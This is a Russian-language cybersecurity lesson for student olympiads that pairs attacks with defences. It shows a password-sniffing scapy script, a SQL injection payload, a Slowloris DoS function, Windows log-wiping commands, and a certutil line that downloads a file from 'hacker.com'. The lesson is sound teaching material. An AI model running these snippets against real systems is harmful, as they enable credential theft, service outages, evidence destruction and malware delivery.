Уровень: Олимпиадный спецназ | Миссия: Понимать атаки как профессионал
# Не просто принципы, а поля битвы
поля_битвы = {
"Конфиденциальность": "⚔️ Битва за секреты",
"Целостность": "⚔️ Битва за доверие",
"Доступность": "⚔️ Битва за контроль",
"Аутентичность": "⚔️ Битва за идентичность",
"Неотказуемость": "⚔️ Битва за доказательства",
"Обнаружение": "⚔️ Битва за невидимость"
}
Наша миссия: Научиться мыслить как хакер, чтобы защищаться как эксперт
“Чтобы защищаться, нужно думать как нападающий”
🎯 КОНФИДЕНЦИАЛЬНОСТЬ - Ваши секреты - моя добыча
🎯 ЦЕЛОСТНОСТЬ - Ваша правда - моя ложь
🎯 ДОСТУПНОСТЬ - Ваш сервис - моя жертва
🎯 АУТЕНТИЧНОСТЬ - Ваша личность - моя маска
🎯 НЕОТКАЗУЕМОСТЬ - Ваши действия - моя невидимость
🎯 ОБНАРУЖЕНИЕ - Ваши глаза - моя слепота
Поднимите руку, если вы…
Хакерская тактика: Стать невидимым свидетелем
# 🔥 РЕАЛЬНАЯ АТАКА: Прослушивание Wi-Fi (Packet Sniffing)
# Хакер в кафе перехватывает ВСЕ ваши данные
import scapy.all as scapy
def sniff_packets(interface):
# Хакер слушает все пакеты в сети
packets = scapy.sniff(iface=interface, store=False)
for packet in packets:
if packet.haslayer(scapy.Raw):
# Ищет логины и пароли
load = packet[scapy.Raw].load
if b"password" in load.lower():
print(f"🎯 НАЙДЕН ПАРОЛЬ: {load}")
# ✅ ЗАЩИТА: Шифрование всего и всегда
# HTTPS, VPN, TLS - делают перехват бесполезным
# ❌ ЖЕРТВА: Отправляет данные как есть
requests.post("http://api.com/login",
data={"user": "admin", "pass": "secret123"})
# ✅ ЗАЩИТНИК: Шифрует ВСЕ данные
from cryptography.fernet import Fernet
cipher = Fernet(encryption_key)
encrypted_data = cipher.encrypt(b"secret_data")
requests.post("https://api.com/login",
data=encrypted_data) # Хакер видит только шум
Хакерская тактика: Подменить правду
# 🔥 РЕАЛЬНАЯ АТАКА: SQL-инъекция + Man-in-the-Middle
# Хакер не просто крадет, а ИЗМЕНЯЕТ ваши данные
# Жертва думает, что вводит: "Вася"
# Хакер подменяет на: "Вася'; DROP TABLE students; --"
def vulnerable_login(username):
# ❌ УЯЗВИМЫЙ КОД
query = f"SELECT * FROM users WHERE name = '{username}'"
# Результат: SELECT * FROM users WHERE name = 'Вася'; DROP TABLE students; --'
# База данных УДАЛЕНА!
# ✅ ЗАЩИТА: Parameterized queries
def secure_login(username):
query = "SELECT * FROM users WHERE name = ?"
cursor.execute(query, (username,)) # Данные НЕ могут изменить запрос
from cryptography.hazmat.primitives import hashes, hmac
# ✅ Подписываем все важные данные
def sign_data(data, key):
h = hmac.HMAC(key, hashes.SHA256())
h.update(data)
return h.finalize()
def verify_data(data, signature, key):
h = hmac.HMAC(key, hashes.SHA256())
h.update(data)
h.verify(signature) # Выбросит исключение если данные изменены
# Хакер не может подделать подпись без ключа!
Задание: Вы - хакер. Найдите все уязвимости:
def process_payment(user_input, user_id):
# 1. SQL-инъекция?
query = f"UPDATE accounts SET balance = balance - {user_input['amount']} WHERE user_id = {user_id}"
# 2. Подделка запроса?
log_action(f"User {user_id} paid {user_input['amount']}")
# 3. Отсутствие проверок?
execute_payment(user_input['amount'], user_input['recipient'])
Хакерская тактика: Уничтожить цифровую инфраструкруту
# 🔥 РЕАЛЬНАЯ АТАКА: DDoS + Amplification
# Хакер превращает маленький запрос в ЦУНАМИ трафика
# 1. Хакер находит уязвимый DNS-сервер
# 2. Отправляет запрос с IP-адресом жертвы
# 3. DNS-сервер шлет ОГРОМНЫЙ ответ жертве
# Коэффициент усиления: 1:60
# Хакер послал 1 МБит → Жертва получила 60 МБит
# ✅ ЗАЩИТА: DDoS-фильтры, CDN, резервирование
Олимпиадный кейс: Рассчитать минимальную мощность ботнета для “валинга” школьного сервера
# 🔥 АТАКА: Slowloris - висит на соединениях
import socket
import time
def slowloris_attack(target, port):
sockets = []
for i in range(1000): # 1000 "висящих" соединений
s = socket.socket()
s.connect((target, port))
s.send(b"GET / HTTP/1.1\r\n")
sockets.append(s)
time.sleep(10) # Поддерживаем соединение
# ✅ ЗАЩИТА:
# - Ограничение соединений с одного IP
# - Таймауты
# - Переход на nginx (устойчив к Slowloris)
Хакерская тактика: Украсть личность
# 🔥 РЕАЛЬНАЯ АТАКА: Фишинг 2.0 + Evilginx
# Хакер не просит пароль - он ПЕРЕХВАТЫВАЕТ сессию
# 1. Вы заходите на поддельный сайт (похож на настоящий)
# 2. Вводите логин/пароль - они мгновенно передаются на настоящий сайт
# 3. Хакер перехватывает сессионные куки
# 4. Теперь он - ВЫ на настоящем сайте
# ✅ ЗАЩИТА: Аппаратные ключи FIDO2
# Даже если хакер перехватит всё - без физического ключа он ничего не сделает
# ❌ СТАРАЯ МОДЕЛЬ: "Доверяй, но проверяй"
if user.ip in trusted_network:
grant_full_access() # ОПАСНО!
# ✅ НОВАЯ МОДЕЛЬ: "Никому не доверяй, проверяй всегда"
def zero_trust_access(user, request):
checks = [
verify_mfa_token(user.mfa_token), # 1. Двухфакторка
check_behavior_analytics(user), # 2. Анализ поведения
verify_device_fingerprint(user.device), # 3. Отпечаток устройства
check_request_context(request) # 4. Контекст запроса
]
return all(checks) # Только если ВСЕ проверки пройдены
Хакерская тактика: Уничтожить улики
# 🔥 РЕАЛЬНАЯ АТАКА: Timestomp + Log Injection
# Хакер не просто атакует - он стирает следы
import os
def hacker_cleanup():
# 1. Меняем временные метки файлов
os.system("touch -t 202301010000 access.log")
# 2. Чистим журналы Windows
os.system("wevtutil cl System")
os.system("wevtutil cl Security")
# 3. Внедряем ложные записи в логи
inject_fake_log("User admin logged in at 14:00")
# ✅ ЗАЩИТА: WORM-хранилища (Write Once Read Many)
# Записал - изменить НЕВОЗМОЖНО
# ✅ Каждое действие - в блокчейн (неизменяемо!)
import hashlib
class SecurityLedger:
def __init__(self):
self.chain = []
def add_action(self, user, action):
block = {
'user': user,
'action': action,
'timestamp': time.time(),
'previous_hash': self.get_previous_hash(),
'hash': self.calculate_hash(user, action)
}
self.chain.append(block) # Удалишь один блок - сломается вся цепь
def verify_integrity(self):
# Проверяем, что никто не менял историю
for i in range(1, len(self.chain)):
if self.chain[i]['previous_hash'] != self.chain[i-1]['hash']:
return False
return True
**Хакерская тактика: Стать цифровым призраком
# 🔥 РЕАЛЬНАЯ АТАКА: Fileless Malware + Living Off the Land
# Хакер не устанавливает вирусы - использует легитимные инструменты
# 1. Проникает через фишинг
# 2. Загружает payload прямо в оперативную память
# 3. Использует встроенные инструменты:
# - PowerShell для выполнения кода
# - Windows Management Instrumentation для управления
# - Certutil для загрузки файлов
# 4. Антивирус видит только "легитимные" процессы
# ✅ ЗАЩИТА: EDR (Endpoint Detection and Response)
# Анализирует ПОВЕДЕНИЕ, а не сигнатуры
# ✅ Мы не ждем атаку - мы ОХОТИМСЯ за угрозами
class ThreatHunter:
def look_for_indicators(self):
indicators = [
"Необычная активность PowerShell",
"Сетевые соединения в нерабочее время",
"Попытки отключить логирование",
"Использование легитимных утилит для вредоносных целей"
]
for indicator in indicators:
if self.detect_pattern(indicator):
self.trigger_incident_response()
def deploy_honeypot(self):
# Создаем "ловушку" - фальшивые сервера с данными
# Кто к ним подключается - тот хакер
fake_server = setup_honeypot()
return fake_server
Сценарий: Из школьного журнала пропали все оценки за четверть.
Данные:
Ваша задача: Определить какие принципы нарушены и КАК это произошло
нарушенные_принципы = {
"Конфиденциальность": "❌ НЕТ - оценки не секретны",
"Целостность": "✅ ДА - данные изменены",
"Доступность": "✅ ДА - сервис мог быть перегружен",
"Аутентичность": "✅ ДА - учитель мог не быть учителем",
"Неотказуемость": "✅ ДА - очистка логов скрывает следы",
"Обнаружение": "✅ ДА - атака была скрытой"
}
версия_атаки = """
1. 📧 Фишинг учителя → кража учетных данных
2. 🔄 DDoS для отвлечения внимания
3. 👤 Вход под учеткой учителя в 02:00
4. 🗑️ SQL-инъекция для удаления оценок
5. 🧹 Очистка логов через уязвимость
"""
Вопрос 1: Вы обнаружили подозрительный процесс
# Процесс использует легитимные системные утилиты
powershell.exe -EncodedCommand SQBFAFgA...
certutil -urlcache -split -f http://hacker.com/tool.exe
Это похоже на:
Логи показывают:
Это:
def transfer_funds(sender, receiver, amount):
# Деньги переведены, но...
log_file.write(f"{sender} -> {receiver}: {amount}")
# Лог-файл позже удален
Как доказать, что он это сделал?
Обязательный набор:
Элитное оружие:
Ваша цель: Защитить школьный сервер экзаменов
Угрозы:
Ваш план защиты на 3 уровня:
Помни: Хакеру нужно найти одну уязвимость. Тебе - защитить их все.
На выбор (уровень сложности):
🥷 Ниндзя (легко) - Найди уязвимости в коде и объясни КАК их использовать
⚔️ Самурай (средне) - Исправь уязвимый код и добавь защитные механизмы
🐲 Дракон (сложно) - Спроектируй систему защиты для банка с нуля
Экстра-миссия: Придумай новую атаку, которой еще нет в учебниках!
Следующий фронт:
Твоя миссия: Не просто использовать технологии, а понимать их настолько глубоко, чтобы предвидеть угрозы завтрашнего дня.